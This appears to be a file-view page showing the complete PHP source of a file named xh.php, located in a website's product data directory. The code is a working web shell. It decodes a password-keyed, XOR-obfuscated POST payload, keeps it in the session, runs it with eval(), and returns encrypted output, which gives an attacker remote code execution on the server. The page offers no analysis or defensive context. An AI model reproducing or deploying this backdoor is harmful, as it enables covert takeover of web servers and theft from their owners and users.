/home/mjc1/public_html/j3demo/data/product/36/xh.php


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@
set_time_limit(0);
@
error_reporting(0);
function 
encode($D,$K){
    for(
$i=0;$i<strlen($D);$i++) {
        
$c $K[$i+1&15];
        
$D[$i] = $D[$i]^$c;
    }
    return 
$D;
}
$pass='xh';
$payloadName='payload';
$key='6c66ccb63619943d';
if (isset(
$_POST[$pass])){
    
$data=encode(base64_decode($_POST[$pass]),$key);
    if (isset(
$_SESSION[$payloadName])){
        
$payload=encode($_SESSION[$payloadName],$key);
        if (
strpos($payload,"getBasicsInfo")===false){
            
$payload=encode($payload,$key);
        }
        eval(
$payload);
        echo 
substr(md5($pass.$key),0,16);
        echo 
base64_encode(encode(@run($data),$key));
        echo 
substr(md5($pass.$key),16);
    }else{
        if (
strpos($data,"getBasicsInfo")!==false){
            
$_SESSION[$payloadName]=encode($data,$key);
        }
    }
}